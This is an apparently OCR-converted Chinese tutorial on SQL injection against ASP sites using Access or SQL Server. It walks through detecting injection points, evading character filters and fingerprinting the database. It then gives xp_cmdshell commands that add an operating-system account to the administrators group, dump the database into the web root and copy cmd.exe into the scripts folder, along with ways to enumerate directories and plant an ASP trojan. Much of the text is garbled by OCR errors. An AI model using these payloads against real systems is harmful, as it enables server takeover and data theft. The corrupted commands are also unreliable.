《SQL注入式攻击.docx》由会员分享,可在线阅读,更多相关《SQL注入式攻击.docx(14页珍藏版)》请在优知文库上搜索。
1、什么是注入式攻击随着B/S模式应用开发的开展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一局部程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,便应用程序存在平安隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQ1.1.njeCtion,即SQ1.注入。SQ1.注入是从正常的WWW端口访问,而且外表看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQ1.注入发出警报,如果管理员没查看I1.S日志的习惯,可能被入侵很长时间都不会觉察。但是,SQ1.注入的手法相当灵活,在注入
2、的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQ1.语句,从而成功获取想要的数据。据统计,网站用ASP+Access或SQ1.Server的占70%以上,PHP+MySQ占1.20%,其他的缺乏10斩在本文,以SQ1.-SERVER+ASP例说明SQ1.注入的原理、方法与过程。(PHP注入的文章由NB联盟的另一位朋友Zwe1.I撰写的有关文章)SQ1.注入攻击的总体思路是:1发现SQ1.注入位置;1判断后台数据库类型;1确定XPCMDSHE1.1.可执行情况1发现WEB虚拟目录1上传ASP木马;1得到管理员权限;一、SQ1.注入漏洞的判断一般来说,SQ1.注入一般存在于形
3、如:等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQ1.注入。如果ASP程序员没有平安意识,不进行必要的字符过滤,存在SQ1.注入的可能性就非常大。为了全面了解动态网页答复的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项一高级一显示友好HTTP错误信息前面的勾去掉。为了把问题说明清楚,以下以为例进行分析,YY可能是整型,也有可能是字符串。1.整型参数的判断当输入的参数YY为整型时,通常abc.asp中SQ1.语句原貌大
4、致如下:se1.ect*from表名where字段=YY,所以可以用以下步骤测试SQ1.注入是否存在。;(附加一个单引号),此时abc.ASP中的SQ1.语句变成了se1.ect*from表名where字段=YY,abc.asp运行异常;and1=1,abc.asp运行正常,而且与运行结果相同;and1=2.abc.asp运行异常:如果以上三步全面满足,abc.asp中一定存在SQ1.注入漏洞。2、字符串型参数的判断当输入的参数YY为字符串时,通常abc.asp中SQ1.语句原貌大致如下:se1.ect*from表名where字段=YY,所以可以用以下步骤测试SQ1.注入是否存在。;(附加一个
5、单引号),此时abc.ASP中的SQ1.语句变成了se1.ect*from表名where字段=YY,abc.asp运行异常; .3911,=,abc.asp运行正常,而且与运行结果相同: .39;1=,2,abc.asp运行异常;如果以上三步全面满足,abc.asp中一定存在SQ1.注入漏洞。3、特殊情况的处理有时ASP程序员会在程序员过谑掉单引号等字符,以防止SQ1.注入。此时可以用以下几种方法试一试。大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过谑小写字符串,而大小写混合往往会被无视。如用SeIeCT代替se1.ect,SE1.ECT等;UN
6、ICODE法:在I1.S中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UN1.CoDE字符串进行输入。如+=%2B,空格=%20等;UR1.EnCOde信息参见附件一;ASCI1.码法:可以把输入的局部或全部字符全部用ASCH码代替,如U=Chr(85),a=chr(97)等,ASCII信息参见附件二;二、区分数据库效劳器类型一般来说,ACCESS与SQ1.SERVER是最常用的数据库效劳器,尽管它们都支持T-SQ1.标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。1、利用数据库效劳器的系统变量进行区分SQ1.-SERVER有user,db_n
7、ameO等系统变量,利用这些系统值不仅可以判断SQ1.-SERVER,而且还可以得到大量有用信息。如:anduserO不仅可以判断是否是SQ1.-SERVER,而还可以得到当前连接到数据库的用户名.db_name()0不仅可以判断是否是SQ1.-SERVER,而还可以得到当前正在使用的数据库名;2、利用系统表ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQI-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句: and(se1.ectcount(*)fromsysobjec1.s)0 and(se1.ectcount(*)f
8、rommsysobjects)0若数据库是SQI-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。3、MSSQ1.三个关键系统表SySdatabaSeS系统表:MicrosoftSQ1.Server上的每个数据库在表中占一行。最初安装SQ1.Server时,Sysdatabases包含masterxmode1.,msdb.mssq1.web和tempdb数据库的项。该表只存储在master数据库中。这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是保存了所有的库名,以及库的ID和一些相关信息。这里我把对于我们有用的字
9、段名称和相关说明给大家列出来。name表示库的名字。dbid表示库的1.D,dbid从1到5是系统的。分别是:master、InocIe1.、msdb、mssq1.web、tempdb这五个库。用se1.ect*frommaster,dbo.sysdatabases就可以查询出所有的库名I1.Sysobjects:SQ1.-SERVER的每个数据库内都有此系统表,它存放该数据库内创立的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID
10、,对象状态。对象类型(XIyPe)。可以是以下对象类型中的一种:C=CHECK约束D=默认值或DEFAU1.T约束F=FOREIGNKEY约束1.=日志FN=标量函数IF=内嵌表函数P=存储过程PK=PRIMARYKEY约束(类型是K)RF=复制筛选存储过程S=系统表TF=表函数TR=触发器U=用户表UQ=UNIQUE约束(类型是K)V=视图X=扩展存储过程当XtyPe=UandStatUS0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。用:se1.ect*fromChouYFD.dbo.sysobjectswherextype=U,andstatusO就可以列出库ChouYED
11、中所有的用户建立的表名。sysco1.umns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:name,id,co1.id:分别是字段名称,表ID号,字段ID号,其中的ID是刚上我们用sysobjects得到的表的ID号。用:se1.ect*fromChouYFD.dbo.sysco1.unnswhereid=123456789得到ChoUYFD这个库中,表的ID是123456789中的所有字段列表。三、确定XP工MDSHE1.1.可执行情况若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshe1.1.扩展存储过程
12、(调用此存储过程可以直接使用操作系统的She1.1.)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省1,.erOabc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA).2.me()Oabc.asp执行异常但可以得到当前连接的数据库名。3、;execmaster.xp_cmdshe1.1netuseraaabbb/add-(master是SQ1.-SERVER的主数据库:名中的分号表示SQ1.-SERVER执行完分号前的语句名,继续执行其后面的语句;”一号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,
13、密码为bbb04、;execmaster.xpC1.ndSheIIoca1.groupadministratorsaaa/add一把刚刚增加的帐户aaa加到administrators组中。5,;backuupdatabase数据库名todisk=c:inetpubsave.db,则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。6、通过复制CMD创立UN1.CODE漏洞dbo.XpCmdshe1.1.copyc:winn1.sys1.em32cmd.exec:inetpubscriptscmd.exe便制造了一个UNICODE漏洞,通过此漏洞
14、的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。四、发现HEB虚拟目录只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。一是根据经验猜修,一般来说,NEB虚拟目录是:c:inetpub;D:inetpub;E:inetpub等,而可执行虚拟目录是:c:inetpubscripts;D:XinetpubXscripts;E:XinetpubXscripts等。二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;先创立一个临时表:tempnp(idnvarchar(255),num1.nvarchar(255),num2nva
15、rchar(255).num3nvarchar(255):一接下来:(1)我们可以利用XPavaiIab1.emcdia来获得当前所有驱动器,并存入temp表中:erttempter.dbo.xp_avaiIab1.emedia;一我们可以通过查询temp的内容来获得驱动器列表及相关信息(2)我们可以利用XP_sUbdirS获得子目录列表,并存入temp表中:intotemp(idbo.xpsubdirsc:;一(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:intotemp(id,nun1.)execmaster,dbo.xp_dirtree,c:这样就可以成功的浏览到所有的目录(文件夹)列表:如果我们需要查看某个文件的内容,可以通过执行xp_cmdse1.1.:intotemp(id)execnbsp;typec:webindex,asp,;一使用bu1.kinsert语法可以将一个文本文件插入到一个临时表中。如:bu1.kinserttemp(id)fronc:XinetpubWindex